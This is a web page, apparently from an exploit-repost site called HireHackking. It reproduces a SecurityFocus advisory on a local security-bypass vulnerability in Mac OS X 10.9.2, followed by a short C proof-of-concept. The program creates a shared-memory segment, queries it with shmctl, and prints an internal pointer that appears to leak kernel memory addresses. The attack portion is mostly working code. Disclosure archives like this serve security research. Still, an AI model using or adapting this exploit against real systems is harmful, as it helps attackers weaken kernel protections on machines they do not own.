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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
// source: https://www.securityfocus.com/bid/67023/info

Apple Mac OS X is prone to a local security-bypass vulnerability.

Attackers can exploit this issue to bypass certain security restrictions and perform unauthorized actions.

Apple Mac OS X 10.9.2 is vulnerable; other versions may also be affected. 

#include <stdio.h>
#include <strings.h>
#include <sys/shm.h>

int main(int argc, char *argv[])
{
  int shm = shmget( IPC_PRIVATE, 0x1337, SHM_R | SHM_W );

  if (shm < 0)
    {
      printf("shmget: failed");
      return 6;
    }

  struct shmid_ds lolz;

  int res = shmctl( shm, IPC_STAT, &lolz );
  if (res < 0)
    {
      printf("shmctl: failed");
      return 1;
    }

  printf( "%p\n", lolz.shm_internal );

}